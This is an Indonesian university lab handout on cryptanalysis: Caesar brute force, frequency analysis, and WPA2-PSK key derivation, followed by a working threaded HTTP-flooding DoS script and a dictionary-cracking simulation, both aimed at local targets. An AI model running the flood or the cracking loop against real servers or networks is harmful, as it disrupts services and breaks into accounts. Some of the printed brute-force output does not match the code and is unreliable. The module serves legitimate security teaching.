

CRYPTOGRAPHY

& INFORMATION SYSTEM SECURITY



Modul praktikum: Kriptanalisis
dan Perkenalan Security Attack

Daftar Isi

Daftar Isi.....	2
Serangan terhadap Kriptografi.....	3
Analisis Caesar Cipher.....	4
Contoh Statistical Attack (Analisis Frekuensi).....	5
Analisis Perbandingan Caesar Cipher dan AES.....	7
Analisis WPA2-PSK (Nonkriptografi).....	7
Cara Kerja Handshake.....	7
Simulasi Dictionary Attack dan Bruteforce Attack.....	8
Hubungan Passphrase dan Generate AES key.....	9
Perkenalan Security Attack.....	9
Perbedaan Security Attack dan Kriptanalisis.....	9
Contoh DOS.....	9
Tugas.....	11
Daftar Pustaka.....	13
Tim Asisten Praktikum.....	13

Serangan terhadap Kriptografi

Menurut Stallings (2023), serangan kriptanalitik bergantung pada sifat algoritma ditambah mungkin beberapa pengetahuan tentang karakteristik umum plaintext atau bahkan beberapa contoh pasangan plaintext-ciphertext. Jenis serangan ini memanfaatkan karakteristik algoritma untuk mencoba menyimpulkan plaintext tertentu atau untuk menyimpulkan kunci yang digunakan.

Serangan terhadap kriptografi dikategorikan menjadi 5 berdasarkan informasi yang diketahui Cryptanalyst (Stallings, 2023). Jenis-jenis tersebut ditunjukkan pada Tabel 1.

Tabel 1. Jenis-jenis Serangan Kriptografi

Jenis Serangan	Informasi yang diketahui Cryptanalyst
Ciphertext Only	- Algoritma Enkripsi - Ciphertext
Known Plaintext	- Algoritma Enkripsi - Ciphertext - Satu atau lebih pasangan plaintext-ciphertext yang dibentuk kunci rahasia
Chosen Plaintext	- Algoritma Enkripsi - Ciphertext - Plain text yang dipilih Cryptanalyst, bersama dengan ciphertext yang sesuai yang dihasilkan dengan kunci rahasia
Chosen Ciphertext	- Algoritma Enkripsi - Ciphertext - Cipher text yang dipilih Cryptanalyst, bersama dengan plain text yang sesuai jika didekripsi dengan kunci rahasia
Chosen Text	- Algoritma Enkripsi - Plain text yang dipilih Cryptanalyst, bersama dengan ciphertext yang sesuai yang dihasilkan dengan kunci rahasia - Cipher text yang dipilih Cryptanalyst, bersama dengan plain text yang sesuai jika didekripsi dengan kunci rahasia

Beberapa teknik yang diperkenalkan Stallings (2023) adalah sebagai berikut.

1. Brute-force Attack
Diasumsikan bahwa algoritma diketahui, tetapi kuncinya tidak diketahui–dalam keadaan ekstrem, algoritma tidak diketahui. Seluruh kemungkinan kunci dicoba secara brutal hingga plaintext ditemukan.
2. Meet-in-the-middle Attack
Diasumsikan bahwa message dienkripsi dua kali oleh algoritma yang sama dan penyerang memiliki ciphertext dan plaintext. Penyerang mencoba setiap kemungkinan kunci untuk mendekripsi ciphertext dan mengenkripsikan plaintext. Jika hasil dekripsi ciphertext dan enkripsi plaintext adalah sama, kedua kunci ditemukan.
3. Birthday Attack
Diasumsikan bahwa teks dihasilkan oleh fungsi Hash. Penyerang mencari dua pesan berbeda yang menghasilkan nilai hash yang sama (collision). Kondisi ini disebut Birthday Paradox.
4. Statistical Attack
Diasumsikan bahwa plaintext adalah kumpulan karakter–penyerang hanya tahu ciphertextnya saja– dan cipher text cukup panjang hingga ada karakter yang berulang-ulang muncul. Frekuensi kemunculan huruf pada ciphertext dibandingkan dengan frekuensi kemunculan huruf dalam penggunaan bahasa tersebut secara umum.

Notes:

- Penjelasan lebih rinci dan teknik lainnya dapat dilihat pada referensi yang dicantumkan di Dapus ataupun buku-buku, paper, dan situs di luar Dapus.
- Untuk melakukan percobaan serangan, sebaiknya dilakukan secara terbatas. Misal ketimbang mencoba di web production ataupun staging, cobalah pada kondisi local development. Jika kondisi production dibutuhkan, akuisisi server dan memvirtualisasinya akan lebih aman.

Analisis Caesar Cipher

Caesar Cipher selalu me-replace setiap karakter dengan kunci dan pola yang konsisten. Karena menggunakan karakter, kuncinya pun terbatas dari 0 hingga 25. Berdasarkan hal tersebut, mencoba setiap kemungkinan kunci(brute-force) pada formula dekripsi. Dengan demikian, penggunaan komputer dapat dengan efisien mendapatkan seluruh kemungkinan plain text seperti pada implementasi Algoritma 1.

Algoritma 1. Contoh Komputasi Brute-force Cipher Text

```
ciphertext = "QBYXH ZXOX JBOBQXP QXKMX HRKZF"
print(f"Ciphertext: {ciphertext}")
print("Hasil Brute Force:")

for key in range(26):
    plaintext = ""
    for c in ciphertext:
        if 'A' <= c <= 'Z':
            # Rumus dekripsi: geser mundur sebanyak key
            p = chr((ord(c) - ord('A') - key) % 26 + ord('A'))
            plaintext += p
        else:
            # Karakter non-huruf (spasi, tanda baca) dibiarkan
            plaintext += c
    print(f"Kunci {key:2d}: {plaintext}")
```

```
PS C:\Users\Radhi\MyDocs\Koding\Kuliah\Semester 6\Prak Kripto\Modul 5> python .\bruteforce.py
Kunci 0: QBYXH ZXOX JBOBQXP QXKMX HRKZF
Kunci 1: PAXWG YWNW IANAPWO PWJLW GQJYE
Kunci 2: OZWFV XVMV HZMZOVN OVIVV FPIXD
Kunci 3: NYVUE WULU GYLYNUM NUHJU EOHWC
Kunci 4: MXUTD VTKT FXKXMTL MTGIT DNGVB
Kunci 5: LWTSC USJS EWJWLSK LSFHS CMFUA
Kunci 6: KVSRL TRIR DVIVKRJ KREGV BLETV
Kunci 7: JURQA SQHQ CUHUJQI JQDFQ AKDSY
Kunci 8: ITQPZ RGPV BTGTIPH IPCEV ZJCRX
Kunci 9: HSPOY QOFO ASFSHOG HOBDO YIBQW
Kunci 10: GRONX PNEN ZRERGNF GNACN XHAPV
Kunci 11: FQNMW OMDM YQDQFME FMZBM WZOU
Kunci 12: EPMLV NLCL XPCPELD ELYAL VFYNT
Kunci 13: DOLKU MKBK WOBODKC DKXZK UEXMS
Kunci 14: CNKJT LJAJ VNANCJB CJWYJ TDWLR
```

Note:

Perhatikan bahwa

- setiap algoritma memiliki karakter yang berbeda
- Caesar Cipher tidak digunakan lagi oleh komputer modern karena mudah diserang

Contoh Statistical Attack (Analisis Frekuensi)

Berikut ini contoh statistical attack (Munir, 2019). Misal ada message berbahasa inggris yang dienkripsi. Potongan ciphertext tersebut adalah berikut.

ZD MZBNQG MJYMUZUJUZKD WZNSGAM X NXAUZWJQXA QGUUGA KA MEBYKQ ZM MJYMUZUJUGI CKA GXWS QGUUGA USG QGUUGAM XAG MJYMUZUJUGI ZD USGZA DKABXQ KAIGA JMXXQQE RZUS DKABXQ RKA IZOMZKDM MJWS WZNSGAM XAG AGWKTDLGI YE USG KWWJAAAGDWG KC X MGU KC DKABXQ QGUUGA CAGHJGDWZGM XUUXWSGI UK USG RAKDT QGUUGAM USGE XAG MKQOGI YE JMZDT CAGHJGDWE XDXQEMZM XDI YE DKUZDT USG WSXAXWUGAZMUZWM KC NXAUZWJQXA QGUUGAM MJWS XM USG UGDIGDWE UK CKAB IKJYQGM WKBBKD RKA I NAGCZVGM XDI MJCCZVGM WKBBKD CZAMU XDI QXMU QGUUGAM ZD RKAIM XDI WKBBKD WKBYZDXUZKDM MJWS XM HJ US GA XDI AG

Karena message berbahasa inggris dan penyerang ingin mulai dari huruf, penyerang mencari data frekuensi kemunculan huruf dalam bahasa inggris. Datanya adalah ditunjukkan pada Tabel 2.

Tabel 2. Frekuensi kemunculan (relatif) huruf-huruf dalam teks Bahasa Inggris menurut Piper (2002)

Huruf	%	Huruf	%	Huruf	%	Huruf	%	Huruf	%	Huruf	%
A	8.2	F	2.2	K	0.8	P	1.9	U	2.8	Z	0.1
B	1.5	G	2.0	L	4.0	Q	0.1	V	1.0		
C	2.8	H	6.1	M	2.4	R	6.0	W	2.4		
D	4.2	I	7.0	N	6.7	S	6.3	X	2.0		
E	12.7	J	0.1	O	7.5	T	9.0	Y	0.1		

Selanjutnya, penyerang menghitung jumlah karakter yang muncul pada cipher text. Frekuensinya ditunjukkan oleh tabel 3.

Tabel 3. Tabel frekuensi kemunculan huruf

Huruf	f	Huruf	f	Huruf	f	Huruf	f	Huruf	f	Huruf	f
A	40	F	0	K	32	P	0	U	46	Z	30
B	13	G	52	L	1	Q	20	V	2		
C	11	H	3	M	39	R	5	W	23		
D	29	I	17	N	6	S	17	X	29		
E	9	J	20	O	2	T	4	Y	9		

Dapat dilihat bahwa huruf G dan U memiliki frekuensi 2 terbanyak. Karena E dan T memiliki frekuensi 2 terbanyak muncul pada Tabel 1, G dan U diperkirakan berkorespondensi dengan E dan T. Dengan ini, plaintext yang didapat adalah sebagai berikut.

ZD MZBNQe MJYMtZtJtZKD WZNSeAM X NXAtZWJQXA QetteA KA MEBYKQ ZM MJYMtZtJteI CKA eXWS QetteA **tSe** QetteAM XA e MJYMtZtJteI ZD **tSe**ZA DKABXQ KAIEa JMXXQQE RZtS DKABXQ RKA IZOMZKDM MJWS WZNSeAM XA e AeWKTDLGI YE **tSe** KWWJAAeDWG KC X Met KC DKABXQ QetteA CAeHJeDWZeM XtXWSeI tK **tSe** RAKDT QetteAM **tSe**E XA e MKQoeI YE JMZDT CAeHJeDWE XDXQEMZM XDI YE DKtZDT **tSe** WSXAXWteAZMtZWM KC NXAtZWJQXA QetteAM MJWS XM **tSe** teDieDWE tK CKAB IKJYQeM WKBBKD RKA I NAGCZVeM XDI MJCCZVeM WKBBKD CZAMt XDI QXMt QetteAM ZD RKAIM XDI WKBBKD WKBYZDXtZKDM MJWS XM HJ tS eA XDI Ae

Berdasarkan hasil tersebut, tSe dan X muncul berkali-kali. Salah satu trigram yang sering muncul adalah the. Berdasarkan dua premis tersebut, diperkirakan S dan X berkorespondensi dengan H dan A sehingga didapatkan hasil sebagai berikut.

ZD MZBNQe MJYMtZtJtZKD WZNheAM a NaAtZWJQaA QetteA KA MEBYKQ ZM MJYMtZtJteI CKA eaWh QetteA the QetteAM aA e MJYMtZtJteI ZD theZA DKABaQ KAIEa JMJaQE RZth DKABaQ RKAi IZOZMKDM MJWh WZNheAM aA e AeWKTDZLeI YE the KWWJAAeDWe KC a Met KC DKABaQ QetteA CAeHJeDWZeM attawheI tk the RAKDT QetteAM theE aA e MKQoeI YE JMZDT CAeHJeDWE aDaQEMZM aDI YE DKtZDT the WhaAaWteAZMtZWM KC NaAtZWJQaA QetteAM MJWh aM the teDIeDWE tk CKAB IKJYQeM WKBBKD RKAi NAeCZVeM aDI MJCCZVeM WKBBKD CZAMt aDI QaMt QetteAM ZD RKAiM aDI WKBBKD WKBYZDatZKDM MJWh aM HJ th eA aDI Ae

Berdasarkan hasil tersebut, diperkirakan QetteA berkorespondensi dengan letter sehingga M berkorespondensi dengan S. Selain itu eaWh diperkirakan berkorespondensi dengan each dan tk berkorespondensi dengan to.

ZD sZBNle sJYstZtJtZoD cZNhers a NartZcJlar letter or sEBYoL Zs sJYstZtJteI Cor each letter the letters ar e sJYstZtJteI ZD theZr DorBal orIer JsJalle RZth DorBal RorI IZOZsZoDs sJch cZNhers ar e recoTDZLeI YE the occJrreDce oC a set oC DorBal letter CreHJeDcZes attacheI to the RroDT letters theE ar e sol0eI YE JsZDT CreHJeDcE aDaLesZs aDI YE DotZDT the characterZstZcs oC NartZcJlar letters sJch as the teDIeDcE to CorB IoJYles coBBoD RorI NreCZVes aDI sJCCZVes coBBoD CZrst aDI last letters ZD RorIs aDI coBBoD coBBYZDatZoDs sJch as HJ th er aDI re

Berdasarkan hasil tersebut, diperkirakan Cor berkorespondensi dengan for, oC dengan of, orler dengan order, occJrreDce dengan occurrence sehingga sJYstZtJtel dengan substituted dan NartZcJlar dengan particular.

in siBple substitution ciphers a particular letter or sEBboL is substituted for each letter the letters ar e substituted in their norBal order usualE Rith norBal Rord di0isions such ciphers ar e recoTniled bE the occurncE of a set of norBal letter freHuencies attached to the RrontT letters theE ar e sol0ed bE usinT freHuencE analEsis and bE notinT the characterist ics of particular letters such as the tendencE to forB doubles coBBon Rord prefives and suffives coBBon first and last letters in Rords and coBBon coBBbinations such as Hu th er and re

Berdasarkan hasil tersebut, diperkirakan siBple adalah simple sehingga sEBboL adalah symbol. Lalu, Rith adalah with, recoTniled dengan recognized, freHuencies adalah frequencies, prefives adalah prefixes, di0isions adalah divisions. Berdasarkan perkiraan tersebut didapatkan hasil akhirnya yang telah dirapikan adalah sebagai berikut.

in simple substitution ciphers a particular letter or symbol is substituted for each letter the letters are substituted in their normal order usually with normal word divisions such ciphers are recognized by the occurrence of a set of normal letter frequencies attached to the wrong letters they are solved by using frequency analysis and by noting the characteristics of particular letters such as the tendency to form doubles common word prefixes and suffixes common first and last letters in words and common combinations such as qu th er and re

Hasil akhir ini menunjukkan bahwa analisis frekuensi dapat digunakan tidak hanya jika dienkripsi dengan Caesar Cipher, tetapi seluruh cipher text yang memiliki pola frekuensi yang dapat

diperkirakan. Kondisi ekstrem yang dapat menjadi acuan adalah penyerang tidak benar-benar mengetahui algoritma yang digunakan dan hanya memiliki ciphertext, tetapi memiliki panjangnya cukup hingga ada pola berulang.

Note:

Perhatikan bahwa ciphertext yang mudah dianalisis dengan frekuensi kemunculan huruf dapat dikerjakan dengan mudah menggunakan pendekatan AI. Terlebih lagi pada Caesar Cipher murni.

Analisis Perbandingan Caesar Cipher dan AES

Perhatikan bahwa jika Ciphertext dihasilkan oleh Caesar Cipher, pola frekuensi sangat mungkin untuk muncul. Maka dari itu, Caesar Cipher tidak hanya rentan terhadap Brute-Force Attack, tapi juga Statistical Attack.

Berbeda dengan Caesar Cipher, AES menggunakan **prinsip diffusion** sehingga tidak rentan terhadap Statistical Attack dan Brute-Force Attack. AES tidak rentan terhadap Statistical Attack karena AES menggunakan prinsip Diffusion. **Jika satu bit pada plaintext berubah**, rata-rata setengah dari bit ciphertext akan berubah juga sehingga pola frekuensi sulit untuk muncul. AES juga tidak rentan terhadap Brute-Force Attack. Percobaan serangan terhadap AES-256 membutuhkan waktu miliaran tahun.

Pembuktiannya dimulai dengan membagi jumlah kemungkinan kunci dengan kekuatan komputasi. AES-256 menggunakan kunci dengan panjang 256 bit. Setiap satu bit kemungkinannya ada 2, yaitu 0 dan 1 maka kemungkinan **banyaknya kunci** adalah 2^{256} atau sekitar $1,15 \times 10^{77}$. Jika diasumsikan kecepatan untuk mendekripsinya adalah 10^9 kunci per detik, lama waktu brute-force attack menjadi sekitar $1,15 \times 10^{68}$ detik atau **$3,6 \times 10^{60}$ tahun**.

Walaupun unggul secara matematis daripada Cipher Text, AES masih dapat diserang dengan pendekatan **Side Channel Attack**. Setiap teknik Side Channel Attack memiliki pencegahan yang berbeda-beda. Untuk mencegah Power Analysis Attack, implementasikan masking dengan cara menambahkan data acak di tengah proses agar konsumsi daya tidak stabil. Contoh lainnya, untuk mencegah Electromagnetic Attack, bungkus chip dengan pelindung logam agar gelombang EM tidak bocor keluar.

Analisis WPA2-PSK (Non-kriptografi)

Cara Kerja Handshake

Handshake jaringan adalah proses awal yang terjadi ketika dua perangkat mulai berkomunikasi dalam sebuah jaringan untuk membangun koneksi yang stabil dan aman sebelum data utama dikirimkan. Pada protokol seperti TCP, proses ini dikenal sebagai three-way handshake, yaitu SYN, SYN-ACK, dan ACK, yang berfungsi untuk memastikan kedua pihak siap berkomunikasi, menyepakati parameter koneksi, dan mengonfirmasi bahwa jalur komunikasi sudah terbuka dengan benar.

Dalam konteks WiFi WPA2-PSK, handshake yang terjadi adalah 4-way handshake, yaitu proses pertukaran data antara client dan access point untuk membuktikan bahwa kedua pihak memiliki

kunci rahasia yang sama tanpa harus mengirimkan password secara langsung. Proses ini menghasilkan kunci sesi (session key) yang digunakan untuk mengenkripsi komunikasi berikutnya, sehingga menjaga keamanan data selama koneksi berlangsung.

Simulasi Dictionary Attack

Buat **dict_atk.py** dan masukkan kode berikut :

Algoritma 2. Simulasi Dictionary Attack dan Bruteforce Attack

```
import hashlib
import itertools

# — Konfigurasi target —
SSID = "HotspotPraktikum"
TARGET_PSK = "praktikum2026" # passphrase yang ingin ditemukan

def derive_psk(passphrase, ssid):
    """
    Simulasi PBKDF2-SHA1:
    passphrase + SSID → PSK 256-bit
    """
    return hashlib.pbkdf2_hmac(
        'sha1',
        passphrase.encode('utf-8'),
        ssid.encode('utf-8'),
        iterations=4096,
        dklen=32
    ).hex()

# Generate target hash (yang mau dicocokkan)
target_hash = derive_psk(TARGET_PSK, SSID)

# — Dictionary Attack —
print("[*] Memulai Dictionary Attack...")

wordlist = [
    "password",
    "12345678",
    "praktikum",
    "praktikum2026",
    "wifi1234",
    "abcdefgh",
    "qwerty123"
]

found = False

for word in wordlist:
    candidate_hash = derive_psk(word, SSID)
    print(f"    Mencoba: {word}")

    if candidate_hash == target_hash:
        print(f"[+] PASSWORD DITEMUKAN (Dictionary): {word}")
        found = True
        break

if not found:
    print(f"\n[*] {TARGET_PSK} Tidak ditemukan di dictionary.")
```

Lalu jalankan kode dengan **python dict_atk.py** :

```
PS C:\Users\Radhi\MyDocs\Koding\Kuliah\Semester 6\Prak Kripto\Modul 5> python .\dict_atk.py
[*] Memulai Dictionary Attack...
Mencoba: password
Mencoba: 12345678
Mencoba: praktikum
Mencoba: praktikum2026
[+] PASSWORD DITEMUKAN (Dictionary): praktikum2026
```

Hubungan Passphrase dan Generate AES key

Dalam WPA2-PSK, passphrase (password WiFi) tidak langsung digunakan sebagai kunci enkripsi, tetapi terlebih dahulu diproses menjadi PMK (Pairwise Master Key) menggunakan fungsi derivasi kriptografi (PBKDF2 dengan HMAC-SHA1). PMK ini bersifat tetap selama passphrase tidak berubah.

Pada proses 4-way handshake, PMK dikombinasikan dengan nilai acak seperti ANonce dan SNonce untuk menghasilkan PTK (Pairwise Transient Key), yang kemudian dipecah menjadi beberapa bagian, salah satunya adalah AES encryption key (Temporal Key). AES key inilah yang benar-benar digunakan untuk mengenkripsi dan mendekripsi data komunikasi antara client dan access point, sehingga passphrase hanya berperan sebagai sumber awal, bukan kunci enkripsi langsung.

Note:

Suatu protokol ataupun sistem yang pernah dan umum diserang biasanya akan ada tools penyerangnya, seperti aircrack-ng.

Perkenalan Security Attack

Perbedaan Security Attack dan Kriptanalisis

Security attack dan kriptanalisis sama-sama berkaitan dengan upaya menyerang keamanan, tetapi fokus dan caranya berbeda (Forouzan, 2008).

Security attack adalah tindakan umum untuk mengganggu, merusak, atau mengeksploitasi sistem keamanan informasi dengan berbagai cara, seperti mencuri data, mengganggu layanan (DDoS), menyusup ke sistem, atau memanfaatkan celah implementasi. Serangan ini bisa bersifat teknis maupun non-teknis (misalnya phishing atau social engineering), dan tidak selalu fokus pada algoritma kriptografi.

Sementara itu, kriptanalisis adalah bagian yang lebih spesifik, yaitu teknik untuk menganalisis dan memecahkan sistem kriptografi dengan tujuan menemukan kelemahan pada algoritma enkripsi, kunci, atau protokol keamanan. Kriptanalisis berfokus pada “membongkar” ciphertext atau sistem enkripsi tanpa mengetahui kunci, menggunakan pendekatan matematis dan statistik.

Sederhananya, security attack adalah istilah luas untuk semua bentuk serangan keamanan, sedangkan kriptanalisis fokus menyerang sistem enkripsi dan kriptografi untuk mengetahui seberapa rentannya kode atau sistem kita.

Contoh DOS

Setup local server dengan python di terminal :

```
python -m http.server 8080
```

Lalu buat **dos.py** dan masukkan kode berikut :

Algoritma 3. Contoh DOS

```
# ddos.py
import socket, threading, time
TARGET_IP = "192.168.x.x" # ganti dengan IP laptop
TARGET_PORT = 8080
NUM_THREADS = 100          # jumlah thread serentak
DURATION = 30              # durasi serangan (detik)
request_count = 0
stop_flag = False
def attack():
    global request_count, stop_flag
    while not stop_flag:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((TARGET_IP, TARGET_PORT))
            # Kirim HTTP request minimal
            s.send(b"GET / HTTP/1.1\r\nHost: target\r\n\r\n")
            s.close()
            request_count += 1
        except:
            pass

if __name__ == "__main__":
    print(f"[*] Memulai serangan DDoS ke {TARGET_IP}:{TARGET_PORT} selama {DURATION} detik...")
    threads = []
    for _ in range(NUM_THREADS):
        t = threading.Thread(target=attack)
        t.start()
        threads.append(t)
    time.sleep(DURATION)
    stop_flag = True
    for t in threads:
        t.join()
    print(f"[*] Serangan selesai. Total request yang dikirim: {request_count}")
```

Setelah itu jalankan kode dengan **python dos.py** :

```
PS C:\Users\Radhi\MyDocs\Koding\Kuliah\Semester 6\Prak Kripto\Modul 5> python .\ddos.py
[*] Memulai serangan DDoS ke 192.168. . :8080 selama 30 detik...
[*] Serangan selesai. Total request yang dikirim: 1841
PS C:\Users\Radhi\MyDocs\Koding\Kuliah\Semester 6\Prak Kripto\Modul 5> █
```

WARNING::

Kode di atas hanya digunakan untuk tujuan pembelajaran semata; Dilarang keras mengubah target IP ke luar jaringan lokal. Asisten Praktikum tidak bertanggung jawab atas segala penyalahgunaan, kerusakan sistem, atau konsekuensi hukum yang timbul akibat penggunaan kode di luar lingkup akademik. Segala risiko hukum ditanggung sepenuhnya oleh pengguna.

Tugas

1. Kerjakan dengan algoritma bruteforce :
 - a. **"HTZPX ST XRWXQPC DWXBTHPBP"**. Tentukan kuncinya.
 - b. **"RMTIASIV LMVOIV SITQUIB UC AMVLQZQ IXI QBC JZCBMNWZKM IBBIKS"**.
Tentukan kuncinya dan kerjakan soal!
Output format: source code Python (.py), screenshot output, dan jawaban soal dalam .pdf
2. Tambahkan 10 kandidat password lain ke Dictionary Attack, lalu gunakan Algoritma 2 untuk melakukan simulasi dari cracking salah satu password baru dan jika password tidak ditemukan pada dictionary!
Output format: source code Python (.py), screenshot output dalam .pdf
3. Jelaskan dengan kalimatmu sendiri mengenai perbedaan antara Cyber Attack dan kriptanalisis!
Output format : jawaban soal dalam .pdf
4. Lakukan DOS pada server lokal python di terminal lalu amati log server :
 - a. Screenshot log server.
 - b. Error apa saja yang muncul dan tuliskan pendapatmu mengapa error itu muncul!
 - c. Jelaskan dengan kalimatmu sendiri, mengapa DOS bukan merupakan kriptanalisis?
 - d. 'Kelemahan' apa yang diserang oleh DOS tersebut?Output format: source code Python (.py), screenshot log, dan jawaban dalam .pdf

Deadline:

C1: 03/05/2026 23:59 WIB

C2: 04/05/2026 23:59 WIB

[Link Pengumpulan](#)

Daftar Pustaka

Forouzan, B. A. (2008). *Introduction to cryptography and network security*. McGraw-Hill Higher Education.

Munir, R. (2019). *Kriptografi*. Informatika.

Stallings, W. (2023). *Cryptography and network security: Principles and practice* (Eighth edition, global edition). Pearson.

Tim Asisten Praktikum

1. Franklin
2. Lyan
3. Ichsan
4. Alvin
5. **Radhi (PIC Praktikum)**